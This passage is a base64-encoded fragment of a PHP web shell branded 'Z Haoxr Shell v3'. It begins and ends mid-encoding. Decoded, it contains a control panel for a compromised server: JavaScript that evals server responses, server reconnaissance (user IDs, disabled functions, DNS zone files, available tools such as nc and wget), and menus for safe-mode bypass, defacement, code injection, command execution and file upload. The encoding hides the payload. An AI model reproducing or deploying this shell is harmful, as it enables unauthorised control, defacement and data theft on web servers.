AgIGZ1bmN0aW9uIGEoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKICAgICAgICAgICAgc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsKICAgICAgICAgICAgdmFyIHBhcmFtcyA9ICJhamF4PXRydWUiOwogICAgICAgICAgICBmb3IoaT0wO2k8ZG9jdW1lbnQubWYuZWxlbWVudHMubGVuZ3RoO2krKykKICAgICAgICAgICAgICAgIHBhcmFtcyArPSAiJiIrZG9jdW1lbnQubWYuZWxlbWVudHNbaV0ubmFtZSsiPSIrZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50Lm1mLmVsZW1lbnRzW2ldLnZhbHVlKTsKICAgICAgICAgICAgc3IoIicuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uJyIsIHBhcmFtcyk7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIHNyKHVybCwgcGFyYW1zKSB7ICAgIAogICAgICAgICAgICBpZiAod2luZG93LlhNTEh0dHBSZXF1ZXN0KSB7CiAgICAgICAgICAgICAgICByZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKICAgICAgICAgICAgICAgIHJlcS5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBwcm9jZXNzUmVxQ2hhbmdlOwogICAgICAgICAgICAgICAgcmVxLm9wZW4oIlBPU1QiLCB1cmwsIHRydWUpOwogICAgICAgICAgICAgICAgcmVxLnNldFJlcXVlc3RIZWFkZXIgKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7CiAgICAgICAgICAgICAgICByZXEuc2VuZChwYXJhbXMpOwogICAgICAgICAgICB9IAogICAgICAgICAgICBlbHNlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkgewogICAgICAgICAgICAgICAgcmVxID0gbmV3IEFjdGl2ZVhPYmplY3QoIk1pY3Jvc29mdC5YTUxIVFRQIik7CiAgICAgICAgICAgICAgICBpZiAocmVxKSB7CiAgICAgICAgICAgICAgICAgICAgcmVxLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IHByb2Nlc3NSZXFDaGFuZ2U7CiAgICAgICAgICAgICAgICAgICAgcmVxLm9wZW4oIlBPU1QiLCB1cmwsIHRydWUpOwogICAgICAgICAgICAgICAgICAgIHJlcS5zZXRSZXF1ZXN0SGVhZGVyICgiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOwogICAgICAgICAgICAgICAgICAgIHJlcS5zZW5kKHBhcmFtcyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gcHJvY2Vzc1JlcUNoYW5nZSgpIHsKICAgICAgICAgICAgaWYoIChyZXEucmVhZHlTdGF0ZSA9PSA0KSApCiAgICAgICAgICAgICAgICBpZihyZXEuc3RhdHVzID09IDIwMCkgewogICAgICAgICAgICAgICAgICAgIC8vYWxlcnQocmVxLnJlc3BvbnNlVGV4dCk7CiAgICAgICAgICAgICAgICAgICAgdmFyIHJlZyA9IG5ldyBSZWdFeHAoIihcXGQrKShbXFxTXFxzXSopIiwgIm0iKTsKICAgICAgICAgICAgICAgICAgICB2YXIgYXJyPXJlZy5leGVjKHJlcS5yZXNwb25zZVRleHQpOwogICAgICAgICAgICAgICAgICAgIGV2YWwoYXJyWzJdLnN1YnN0cigwLCBhcnJbMV0pKTsKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICBlbHNlIGFsZXJ0KCJSZXF1ZXN0IGVycm9yISIpOwogICAgICAgIH0KICAgIDwvc2NyaXB0PgogICAgPGhlYWQ+PGxpbmsgaHJlZj0iaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PUF1ZGlvd2lkZSIgPjwvaGVhZD48Ym9keT48ZGl2IHN0eWxlPSJwb3NpdGlvbjphYnNvbHV0ZTt3aWR0aDoxMDAlO3RvcDowO2xlZnQ6MDsiPjxkaXYgc3R5bGU9Im1hcmdpbjo1cHg7YmFja2dyb3VuZDpibGFjazsiPjxkaXYgY2xhc3M9ImNvbnRlbnQiIHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkICcuJFRoZW1lLic7IGJvcmRlci1yYWRpdXM6NXB4OyI+CiAgICA8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxlPSJkaXNwbGF5Om5vbmU7Ij4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2EnXSk/JF9QT1NUWydhJ106JycpLiciPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ3AxJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKTonJykuJyI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDIgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsncDInXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10pOicnKS4nIj4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMyB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydwMyddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDMnXSk6JycpLiciPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuJyI+CiAgICA8L2Zvcm0+JzsKICAgICRmcmVlU3BhY2UgPSBAZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOwogICAgJHRvdGFsU3BhY2UgPSBAZGlza190b3RhbF9zcGFjZSgkR0xPQkFMU1snY3dkJ10pOwogICAgJHRvdGFsU3BhY2UgPSAkdG90YWxTcGFjZT8kdG90YWxTcGFjZToxOwogICAgJGRpc2FibGVfZnVuY3Rpb25zID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CiAgICAkcmVsZWFzZSA9IEBwaHBfdW5hbWUoJ3InKTsKICAgICRrZXJuZWwgPSBAcGhwX3VuYW1lKCdzJyk7CiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpIHsKICAgICAgICAkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7CiAgICAgICAgJHVpZCA9IEBnZXRteXVpZCgpOwogICAgICAgICRnaWQgPSBAZ2V0bXlnaWQoKTsKICAgICAgICAkZ3JvdXAgPSAiPyI7CiAgICB9IGVsc2UgewogICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk7CiAgICAgICAgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAcG9zaXhfZ2V0ZWdpZCgpKTsKICAgICAgICAkdXNlciA9ICR1aWRbJ25hbWUnXTsKICAgICAgICAkdWlkID0gJHVpZFsndWlkJ107CiAgICAgICAgJGdyb3VwID0gJGdpZFsnbmFtZSddOwogICAgICAgICRnaWQgPSAkZ2lkWydnaWQnXTsKICAgIH0KICAgICRjd2RfbGlua3MgPSAnJzsKICAgICRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7CiAgICAkbj1jb3VudCgkcGF0aCk7CiAgICBmb3IoJGk9MDskaTwkbi0xOyRpKyspIHsKICAgICAgICAkY3dkX2xpbmtzIC49ICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixcIiI7CiAgICAgICAgZm9yKCRqPTA7JGo8PSRpOyRqKyspCiAgICAgICAgICAgICRjd2RfbGlua3MgLj0gJHBhdGhbJGpdLicvJzsKICAgICAgICAkY3dkX2xpbmtzIC49ICJcIiknPiIuJHBhdGhbJGldLiIvPC9hPiI7CiAgICB9CiAgICAkY2hhcnNldHMgPSBhcnJheSgnVVRGLTgnLCAnV2luZG93cy0xMjUxJywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4NjYnKTsKICAgICRvcHRfY2hhcnNldHMgPSAnJzsKICAgIGZvcmVhY2goJGNoYXJzZXRzIGFzICRpdGVtKQogICAgICAgICRvcHRfY2hhcnNldHMgLj0gJzxvcHRpb24gdmFsdWU9IicuJGl0ZW0uJyIgJy4oJF9QT1NUWydjaGFyc2V0J109PSRpdGVtPydzZWxlY3RlZCc6JycpLic+Jy4kaXRlbS4nPC9vcHRpb24+JzsKICAgICRtID0gYXJyYXkoJ1NlYy4gSW5mbyc9PidTZWNJbmZvJywnRmlsZXMnPT4nRmlsZXNNYW4nLCdDb25zb2xlJz0+J0NvbnNvbGUnLCdCeXBhc3Nlcic9PidTYWZlTW9kZScsJ1NhZmUgTW9kZSc9PidCeXBhc3MnLCdTdHJpbmcgdG9vbHMnPT4nU3RyaW5nVG9vbHMnLCdJbXBvcnQgU2NyaXB0cyc9PidJbXBvcnRTY3JpcHRzJywnTmV0d29yayc9PidOZXR3b3JrJywnUmVhZGFibGUgRGlycyc9PidSZWFkYWJsZScsJ0RlZmFjZXInID0+ICdEZWZhY2UnLCdDb2RlIEluamVjdG9yJz0+J0luamVjdG9yJywnRG9tYWlucycgPT4gJ0RvbWFpbicpOwogICAgaWYoIWVtcHR5KCRHTE9CQUxTWydhdXRoX3Bhc3MnXSkpCiAgICAgICAgJG1bJ0xvZ291dCddID0gJ0xvZ291dCc7CiAgICAkbWVudSA9ICcnOwogICAgZm9yZWFjaCgkbSBhcyAkayA9PiAkdikKICAgICAgICAkbWVudSAuPSAnPHRoPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCcnLiR2LidcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+Jy4kay4nPC9hPjwvdGg+JzsKICAgICRkcml2ZXMgPSAiIjsKICAgIGlmICgkR0xPQkFMU1snb3MnXSA9PSAnd2luJykgewogICAgICAgIGZvcmVhY2goIHJhbmdlKCdhJywneicpIGFzICRkcml2ZSApewogICAgICAgICAgICBpZiAoaXNfZGlyKCRkcml2ZS4nOlxcJykpCiAgICAgICAgICAgICAgICAkZHJpdmVzIC49ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7CiAgICAgICAgfQogICAgICAgICRkcml2ZXMgLj0gJzxiciAvPjogJzsKICAgIH0KICAgIGlmKCRHTE9CQUxTWydvcyddID09ICduaXgnKSB7CiAgICAgICAgJGRvbWluaW9zID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL25hbWVkLmNvbmYiKTsKICAgICAgICBpZighJGRvbWluaW9zKSB7CiAgICAgICAgICAgICREb21haW5TID0gIi92YXIvbmFtZWQiOwogICAgICAgICAgICAkRG9tYWlub25zZXJ2ZXIgPSBzY2FuZGlyKCREb21haW5TKTsKICAgICAgICAgICAgJGQwYyA9IGNvdW50KCREb21haW5vbnNlcnZlcik7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgQHByZWdfbWF0Y2hfYWxsKCcvLio/em9uZSAiKC4qPykiIHsvJywgJGRvbWluaW9zLCAkb3V0KTsKICAgICAgICAgICAgJG91dCA9IHNpemVvZihhcnJheV91bmlxdWUoJG91dFsxXSkpOwogICAgICAgICAgICAkZDBjID0gJG91dC4iICBEb21haW5zIjsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgICRkMGMgPSAiTm90aGluZyBoZXJlIGJybzooIjsKICAgIH0KICAgIGlmKCRHTE9CQUxTWydvcyddID09ICduaXgnICkKICAgIHsKICAgICAgICAkdXNlZmwgPSAnJzsgJGR3bmxkciA9ICcnOwogICAgICAgIGlmKCFAaW5pX2dldCgnc2FmZV9tb2RlJykpIHsKICAgICAgICAgICAgJHRlbXAgPSBhcnJheSgpOwogICAgICAgICAgICAkdXNlcmZ1bCA9IGFycmF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywnZ3ppcCcsJ2J6aXAnLCdiemlwMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsKICAgICAgICAgICAgZm9yZWFjaCgkdXNlcmZ1bCBhcyAkaXRlbSkgeyBpZih3aGljaCgkaXRlbSkpICR0ZW1wW109ICRpdGVtOyB9CiAgICAgICAgICAgICR1c2VmbCA9IGltcGxvZGUoJywgJywkdGVtcCk7CiAgICAgICAgICAgICR0ZW1wID0gYXJyYXkoKTsKICAgICAgICAgICAgJGRvd25sb2FkZXJzID0gYXJyYXkoJ3dnZXQnLCdmZXRjaCcsJ2x5bngnLCdsaW5rcycsJ2N1cmwnLCdnZXQnLCdsd3AtbWlycm9yJyk7CiAgICAgICAgICAgIGZvcmVhY2goJGRvd25sb2FkZXJzIGFzICRpdGVtMikgeyBpZih3aGljaCgkaXRlbTIpKSAkdGVtcFtdPSAkaXRlbTI7IH0KICAgICAgICAgICAgJGR3bmxkciA9IGltcGxvZGUoJywgJywkdGVtcCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHVzZWZsID0gJyAtLS0tLS0tICc7ICRkd25sZHIgPSAnIC0tLS0tLS0gJzsKICAgICAgICB9CiAgICB9IGVsc2UgeyAKICAgICAgICAkdXNlZmwgPSAnIC0tLS0tLS0gJzsgJGR3bmxkciA9ICcgLS0tLS0tLSAnOwogICAgfSAKICAgIGVjaG8gJzxkaXYgY2xhc3M9IlogSGFveHJsb2dvIj48dGFibGUgY2xhc3M9ImluZm8iIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgd2lkdGg9IjEwMCUiPjx0cj4KICAgICAgICAgIDx0ZD48dGFibGUgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIiBjbGFzcz0ibnBvYWQiPjx0cj48dGQgd2lkdGg9IjgwcHg7Ij48c3Bhbj5VbmFtZTwvc3Bhbj48L3RkPjx0ZD46IDxub2JyPicuc3Vic3RyKEBwaHBfdW5hbWUoKSwgMCwgMTIwKS4nPC9ub2JyPjwvdGQ+PC90cj4KICAgICAgICAgIDx0cj48dGQ+PHNwYW4+VXNlcjwvc3Bhbj48L3RkPjx0ZD46ICcuJHVpZC4nICggJy4kdXNlci4nICkgPHNwYW4+R3JvdXA6IDwvc3Bhbj4gJy4kZ2lkLicgKCAnLiRncm91cC4nICk8L3RkPjwvdHI+PHRyPjx0ZD48c3Bhbj5TZXJ2ZXI8L3NwYW4+PC90ZD48dGQ+OiAnLkBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpLic8L3RkPjwvdHI+PHRyPjx0ZD48c3Bhbj5Vc2VmdWw8L3NwYW4+PC90ZD48dGQ+OiAnLiR1c2VmbC4nPC90ZD48L3RyPjx0cj48dGQ+PHNwYW4+RG93bmxvYWRlcnM8L3NwYW4+PC90ZD48dGQ+OiAnLiRkd25sZHIuJzwvdGQ+PC90cj48dHI+PHRkPjxzcGFuPkQvZnVuY3Rpb25zPC9zcGFuPjwvdGQ+PHRkPjogJy4oJGRpc2FibGVfZnVuY3Rpb25zPyRkaXNhYmxlX2Z1bmN0aW9uczonQWxsIEZ1bmN0aW9uIEVuYWJsZScpLic8L3RkPjwvdHI+PHRyPjx0ZD48c3Bhbj4nLigkR0xPQkFMU1snb3MnXSA9PSAnd2luJz8nRHJpdmVzPGJyIC8+Q3dkJzonQ3dkJykuJzwvc3Bhbj48L3RkPjx0ZD46ICcuJGRyaXZlcy4nJy4kY3dkX2xpbmtzLicgJy52aWV3UGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10pLicgPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kR0xPQkFMU1snaG9tZV9jd2QnXS4nXCcsXCdcJyxcJ1wnLFwnXCcpIj5bIGhvbWUgXTwvYT48L3RkPjwvdHI+PC90YWJsZT48L3RkPicuCiAgICAgICAgICc8dGQgd2lkdGg9ND48bm9icj48c3Bhbj5TdiBJUDwvc3Bhbj48YnI+PHNwYW4+WW91ciBJUDwvc3Bhbj48YnIgLz48c3Bhbj5IREQ8L3NwYW4+PGJyIC8+PHNwYW4+RnJlZTwvc3Bhbj48YnIgLz48c3Bhbj5QSFA8L3NwYW4+PGJyIC8+PHNwYW4+U2FmZSBNb2RlPC9zcGFuPjxiciAvPjxzcGFuPkRvbWFpbnM8L3NwYW4+PC9ub2JyPjwvdGQ+Jy4KICAgICAgICAgJzx0ZD48bm9icj46ICcuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pLic8YnI+OiAnLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLic8YnIgLz46ICcudmlld1NpemUoJHRvdGFsU3BhY2UpLic8YnIgLz46ICcudmlld1NpemUoJGZyZWVTcGFjZSkuJyAoJy4oaW50KSgkZnJlZVNwYWNlLyR0b3RhbFNwYWNlKjEwMCkuJyUpPGJyPjogJy5AcGhwdmVyc2lvbigpLicgPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdQaHBcJyxudWxsLG51bGwsXCdpbmZvXCcpIj5bIHBocGluZm8gXTwvYT48YnIgLz46ICcuKCRHTE9CQUxTWydzYWZlX21vZGUnXT8nPGZvbnQgY29sb3I9cmVkPk9OPC9mb250Pic6Jzxmb250IGNvbG9yPScuJGNvbG9yLic8Yj5PRkY8L2I+PC9mb250PicpLic8YnIgLz46ICcuJGQwYy4nPC9ub2JyPjwvdGQ+PC90cj48L3RhYmxlPjwvZGl2PicuCiAgICAgICAgICc8L2Rpdj48L2Rpdj48ZGl2IHN0eWxlPSJtYXJnaW46NTtiYWNrZ3JvdW5kOmJsYWNrOyI+PGRpdiBjbGFzcz0iY29udGVudCIgc3R5bGU9ImJvcmRlci10b3A6NXB4IHNvbGlkIDQzMDMwMztwYWRkaW5nOjJweDsiPjx0YWJsZSBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiIHdpZHRoPSIxMDAlIiBjbGFzcz0ibWVudSI+PHRyPicuJG1lbnUuJzwvdHI+PC90YWJsZT48L2Rpdj48L2Rpdj48ZGl2IHN0eWxlPSJtYXJnaW46NTtiYWNrZ3JvdW5kOmJsYWNrOyI+JzsKfQoKZnVuY3Rpb24gcHJpbnRGb290ZXIoKSB7CiAgICAkaXNfd3JpdGFibGUgPSBpc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pPyI8Zm9udCBjb2xvcj1ncmVlbj5bIFdyaXRlYWJsZSBdPC9mb250PiI6Ijxmb250IGNvbG9yPXJlZD5bIE5vdCB3cml0YWJsZSBdPC9mb250PiI7CgplY2hvICc8L2Rpdj48ZGl2IHN0eWxlPSJtYXJnaW46NXB4O2JhY2tncm91bmQ6YmxhY2s7Ij48ZGl2IGNsYXNzPSJjb250ZW50IiBzdHlsZT0iYm9yZGVyOjFweCBzb2xpZCAnLiRUaGVtZS4nOyBib3JkZXItcmFkaXVzOjVweDsiPgo8dGFibGUgY2xhc3M9ImluZm8iIGlkPSJ0b29sc1RibCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIiB3aWR0aD0iMTAwJSI+CiAgICA8dHI+CiAgICAgICAgPHRkPjxmb3JtIG9uc3VibWl0PSJnKG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5DaGFuZ2UgZGlyOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjwvdGQ+CiAgICAgICAgPHRkPjxmb3JtIG9uc3VibWl0PSJnKFwnRmlsZXNUb29sc1wnLG51bGwsdGhpcy5mLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5SZWFkIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48L3RkPgogICAgPC90cj4KICAgIDx0cj4KICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoXCdGaWxlc01hblwnLG51bGwsXCdta2RpclwnLHRoaXMuZC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+TWFrZSBkaXI6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1kPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nLiRpc193cml0YWJsZS4nPC90ZD4KICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCx0aGlzLmYudmFsdWUsXCdta2ZpbGVcJyk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+TWFrZSBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+Jy4kaXNfd3JpdGFibGUuJzwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD0iZyhcJ0NvbnNvbGVcJyxudWxsLHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+RXhlY3V0ZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9IiI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjwvdGQ+CiAgICAgICAgPHRkPjxmb3JtIG1ldGhvZD0icG9zdCIgRU5DVFlQRT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0iRmlsZXNNQW4iPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSJ1cGxvYWRGaWxlIj4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiciPgogICAgICAgIDxzcGFuPlVwbG9hZCBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT1maWxlIG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+Jy4kaXNfd3JpdGFibGUuJzwvdGQ+CiAgICA8L3RyPgo8L3RhYmxlPjwvZGl2PjwvZGl2Pgo8ZGl2IHN0eWxlPSJtYXJnaW46NXB4O2JhY2tncm91bmQ6YmxhY2s7Ij48ZGl2IGNsYXNzPSJjb250ZW50IiBzdHlsZT0iYm9yZGVyOjJweCBzb2xpZCAnLiRUaGVtZS4nO3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtd2VpZ2h0OmJvbGQ7IGJvcmRlci1yYWRpdXM6MTBweDttYXJnaW46YXV0bzsgd2lkdGg6NTAwOyI+WiBIYW94ciBTaGVsbCB2MyBjb2RlZCBieSA8YSBocmVmPSJodHRwczovL3d3dy5mYWNlYm9vay5jb20vWiBIYW94cnBhdGhhbiI+IEthc2hpZiBLaGFuPC9hPjwvZGl2PjwvZGl2Pgo8L2Rpdj4KPC9ib2R5PjwvaHRtbD4nOwp9CgppZiAoICFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkgKSB7IGZ1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCRwKSB7IHJldHVybiBmYWxzZTsgfSB9CmlmICggIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0Z3JnaWQnKT09PWZhbHNlKSApIHsgZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJHApIHsgcmV0dXJuIGZhbHNlOyB9IH0KCgpmdW5jdGlvbiB2aWV3U2l6ZSgkcykgewogICAgaWYoJHMgPj0gMTA3Mzc0MTgyNCkKICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNzM3NDE4MjQgKS4gJyBHQic7CiAgICBlbHNlaWYoJHMgPj0gMTA0ODU3NikKICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNDg1NzYgKSAuICcgTUInOwogICAgZWxzZWlmKCRzID49IDEwMjQpCiAgICAgICAgcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDI0ICkgLiAnIEtCJzsKICAgIGVsc2UKICAgICAgICByZXR1cm4gJHMgLiAnIEInOwp9CgpmdW5jdGlvbiBwZXJtcygkcCkgewogICAgaWYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3MnOwogICAgZWxzZWlmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkaSA9ICdsJzsKICAgIGVsc2VpZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApJGkgPSAnLSc7CiAgICBlbHNlaWYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2InOwogICAgZWxzZWlmICgoJHAgJiAweDQwMDApID09IDB4NDAwMCkkaSA9ICdkJzsKICAgIGVsc2VpZiAoKCRwICYgMHgyMDAwKSA9PSAweDIwMDApJGkgPSAnYyc7CiAgICBlbHNlaWYgKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3AnOwogICAgZWxzZSAkaSA9ICd1JzsKICAgICRpIC49ICgoJHAgJiAweDAxMDApID8gJ3InIDogJy0nKTsKICAgICRpIC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICRpIC49ICgoJHAgJiAweDAwNDApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7CiAgICAkaSAuPSAoKCRwICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7CiAgICAkaSAuPSAoKCRwICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiAgICAkaSAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOwogICAgJGkgLj0gKCgkcCAmIDB4MDAwNCkgPyAncicgOiAnLScpOwogICAgJGkgLj0gKCgkcCAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgJGkgLj0gKCgkcCAmIDB4MDAwMSkgPyAoKCRwICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKICAgIHJldHVybiAkaTsKfQoKZnVuY3Rpb24gdmlld1Blcm1zQ29sb3IoJGYpIHsgCiAgICBpZiAoIUBpc19yZWFkYWJsZSgkZikpCiAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj0jRkYwMDAwPjxiPicucGVybXMoQGZpbGVwZXJtcygkZikpLic8L2I+PC9mb250Pic7CiAgICBlbHNlaWYgKCFAaXNfd3JpdGFibGUoJGYpKQogICAgICAgIHJldHVybiAnPGZvbnQgY29sb3I9d2hpdGU+PGI+Jy5wZXJtcyhAZmlsZXBlcm1zKCRmKSkuJzwvYj48L2ZvbnQ+JzsKICAgIGVsc2UKICAgICAgICByZXR1cm4gJzxmb250IGNvbG9yPSMwMEJCMDA+PGI+Jy5wZXJtcyhAZmlsZXBlcm1zKCRmKSkuJzwvYj48L2ZvbnQ+JzsKfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygic2NhbmRpciIpKSB7CiAgICBmdW5jdGlvbiBzY2FuZGlyKCRkaXIpIHsKICAgICAgICAkZGggID0gb3BlbmRpcigkZGlyKTsKICAgICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRkaCkpKSB7CiAgICAgICAgICAgICRmaWxlc1tdID0gJGZpbGVuYW1lOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJGZpb